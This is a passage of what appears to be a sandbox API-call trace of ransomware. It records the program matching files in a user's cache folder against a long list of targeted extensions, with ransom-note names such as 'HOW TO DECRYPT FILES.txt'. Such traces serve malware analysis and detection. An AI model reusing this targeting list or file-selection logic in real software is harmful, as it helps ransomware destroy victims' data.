(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.odg") returned 0 [0084.751] lstrlenA (lpString="*.odg") returned 5 [0084.751] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.raw") returned 0 [0084.752] lstrlenA (lpString="*.raw") returned 5 [0084.752] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.nef") returned 0 [0084.752] lstrlenA (lpString="*.nef") returned 5 [0084.753] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.svg") returned 0 [0084.753] lstrlenA (lpString="*.svg") returned 5 [0084.753] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.psd") returned 0 [0084.753] lstrlenA (lpString="*.psd") returned 5 [0084.753] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.vmx") returned 0 [0084.753] lstrlenA (lpString="*.vmx") returned 5 [0084.753] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.vmdk") returned 0 [0084.753] lstrlenA (lpString="*.vmdk") returned 6 [0084.753] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.vdi") returned 0 [0084.753] lstrlenA (lpString="*.vdi") returned 5 [0084.753] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.lay6") returned 0 [0084.754] lstrlenA (lpString="*.lay6") returned 6 [0084.754] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.mpeg") returned 0 [0084.754] lstrlenA (lpString="*.mpeg") returned 6 [0084.754] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.djvu") returned 0 [0084.754] lstrlenA (lpString="*.djvu") returned 6 [0084.754] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.tiff") returned 0 [0084.754] lstrlenA (lpString="*.tiff") returned 6 [0084.754] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.backup") returned 0 [0084.754] lstrlenA (lpString="*.backup") returned 8 [0084.754] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.pdf") returned 0 [0084.754] lstrlenA (lpString="*.pdf") returned 5 [0084.754] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.cert") returned 0 [0084.754] lstrlenA (lpString="*.cert") returned 6 [0084.754] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.docm") returned 0 [0084.754] lstrlenA (lpString="*.docm") returned 6 [0084.754] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.xlsm") returned 0 [0084.755] lstrlenA (lpString="*.xlsm") returned 6 [0084.755] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.dwg") returned 0 [0084.755] lstrlenA (lpString="*.dwg") returned 5 [0084.755] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.nd") returned 0 [0084.755] lstrlenA (lpString="*.nd") returned 4 [0084.755] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.tlg") returned 0 [0084.755] lstrlenA (lpString="*.tlg") returned 5 [0084.755] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.lgb") returned 0 [0084.755] lstrlenA (lpString="*.lgb") returned 5 [0084.755] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.mov") returned 0 [0084.755] lstrlenA (lpString="*.mov") returned 5 [0084.755] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.xdw") returned 0 [0084.755] lstrlenA (lpString="*.xdw") returned 5 [0084.755] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.ods") returned 0 [0084.755] lstrlenA (lpString="*.ods") returned 5 [0084.756] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.wav") returned 0 [0084.756] lstrlenA (lpString="*.wav") returned 5 [0084.756] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.mp3") returned 0 [0084.756] lstrlenA (lpString="*.mp3") returned 5 [0084.756] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.aiff") returned 0 [0084.756] lstrlenA (lpString="*.aiff") returned 6 [0084.756] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.flac") returned 0 [0084.756] lstrlenA (lpString="*.flac") returned 6 [0084.756] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.m4a") returned 0 [0084.756] lstrlenA (lpString="*.m4a") returned 5 [0084.756] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.csv") returned 0 [0084.756] lstrlenA (lpString="*.csv") returned 5 [0084.756] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf7af630, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf7af630, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf821a50, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x4d5b9, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="ebHtml5Banner[1].js", cAlternateFileName="EBHTML~1.JS")) returned 1 [0084.757] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.757] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ebHtml5Banner[1].js") returned -1 [0084.757] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ebHtml5Banner[1].js") returned 1 [0084.757] lstrcmpiA (lpString1="", lpString2="ebHtml5Banner[1].js") returned -1 [0084.757] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini") returned="desktop.ini" [0084.757] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.757] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.757] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.757] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.757] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="ebHtml5Banner[1].js" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js" [0084.757] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.ems") returned 0 [0084.757] lstrlenA (lpString="*.ems") returned 5 [0084.758] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.db") returned 0 [0084.758] lstrlenA (lpString="*.db") returned 4 [0084.758] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.dbf") returned 0 [0084.758] lstrlenA (lpString="*.dbf") returned 5 [0084.758] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.myox") returned 0 [0084.758] lstrlenA (lpString="*.myox") returned 6 [0084.758] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.myo") returned 0 [0084.758] lstrlenA (lpString="*.myo") returned 5 [0084.758] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.qbw") returned 0 [0084.758] lstrlenA (lpString="*.qbw") returned 5 [0084.758] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.qbb") returned 0 [0084.758] lstrlenA (lpString="*.qbb") returned 5 [0084.758] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.qbm") returned 0 [0084.758] lstrlenA (lpString="*.qbm") returned 5 [0084.759] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.qbo") returned 0 [0084.759] lstrlenA (lpString="*.qbo") returned 5 [0084.759] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.qbx") returned 0 [0084.759] lstrlenA (lpString="*.qbx") returned 5 [0084.759] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.qba") returned 0 [0084.759] lstrlenA (lpString="*.qba") returned 5 [0084.759] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.qby") returned 0 [0084.759] lstrlenA (lpString="*.qby") returned 5 [0084.759] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.qbj") returned 0 [0084.759] lstrlenA (lpString="*.qbj") returned 5 [0084.759] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.ofx") returned 0 [0084.759] lstrlenA (lpString="*.ofx") returned 5 [0084.759] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.qif") returned 0 [0084.759] lstrlenA (lpString="*.qif") returned 5 [0084.759] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.mye") returned 0 [0084.759] lstrlenA (lpString="*.mye") returned 5 [0084.759] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.mbox") returned 0 [0084.759] lstrlenA (lpString="*.mbox") returned 6 [0084.760] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.eml") returned 0 [0084.760] lstrlenA (lpString="*.eml") returned 5 [0084.760] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.pst") returned 0 [0084.760] lstrlenA (lpString="*.pst") returned 5 [0084.760] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.ost") returned 0 [0084.760] lstrlenA (lpString="*.ost") returned 5 [0084.760] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.idx") returned 0 [0084.760] lstrlenA (lpString="*.idx") returned 5 [0084.760] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.dbx") returned 0 [0084.760] lstrlenA (lpString="*.dbx") returned 5 [0084.760] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.sql") returned 0 [0084.760] lstrlenA (lpString="*.sql") returned 5 [0084.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.mdb") returned 0 [0084.761] lstrlenA (lpString="*.mdb") returned 5 [0084.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.fdb") returned 0 [0084.761] lstrlenA (lpString="*.fdb") returned 5 [0084.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.wab") returned 0 [0084.761] lstrlenA (lpString="*.wab") returned 5 [0084.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.dat") returned 0 [0084.761] lstrlenA (lpString="*.dat") returned 5 [0084.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.txt") returned 0 [0084.761] lstrlenA (lpString="*.txt") returned 5 [0084.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.jpeg") returned 0 [0084.761] lstrlenA (lpString="*.jpeg") returned 6 [0084.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.jpg") returned 0 [0084.761] lstrlenA (lpString="*.jpg") returned 5 [0084.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.png") returned 0 [0084.761] lstrlenA (lpString="*.png") returned 5 [0084.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.php") returned 0 [0084.762] lstrlenA (lpString="*.php") returned 5 [0084.762] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.cs") returned 0 [0084.762] lstrlenA (lpString="*.cs") returned 4 [0084.762] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.cpp") returned 0 [0084.762] lstrlenA (lpString="*.cpp") returned 5 [0084.762] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.rar") returned 0 [0084.762] lstrlenA (lpString="*.rar") returned 5 [0084.762] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.zip") returned 0 [0084.762] lstrlenA (lpString="*.zip") returned 5 [0084.762] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.html") returned 0 [0084.762] lstrlenA (lpString="*.html") returned 6 [0084.762] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.htm") returned 0 [0084.762] lstrlenA (lpString="*.htm") returned 5 [0084.762] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.xlsx") returned 0 [0084.762] lstrlenA (lpString="*.xlsx") returned 6 [0084.763] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.xls") returned 0 [0084.763] lstrlenA (lpString="*.xls") returned 5 [0084.763] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.mp4") returned 0 [0084.763] lstrlenA (lpString="*.mp4") returned 5 [0084.763] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.ppt") returned 0 [0084.763] lstrlenA (lpString="*.ppt") returned 5 [0084.763] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.pptx") returned 0 [0084.763] lstrlenA (lpString="*.pptx") returned 6 [0084.763] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.doc") returned 0 [0084.763] lstrlenA (lpString="*.doc") returned 5 [0084.763] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.dot") returned 0 [0084.763] lstrlenA (lpString="*.dot") returned 5 [0084.763] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.docx") returned 0 [0084.764] lstrlenA (lpString="*.docx") returned 6 [0084.764] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.7z") returned 0 [0084.764] lstrlenA (lpString="*.7z") returned 4 [0084.764] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.tar") returned 0 [0084.764] lstrlenA (lpString="*.tar") returned 5 [0084.764] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.bz2") returned 0 [0084.764] lstrlenA (lpString="*.bz2") returned 5 [0084.764] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.gz") returned 0 [0084.764] lstrlenA (lpString="*.gz") returned 4 [0084.764] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.mkv") returned 0 [0084.764] lstrlenA (lpString="*.mkv") returned 5 [0084.764] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 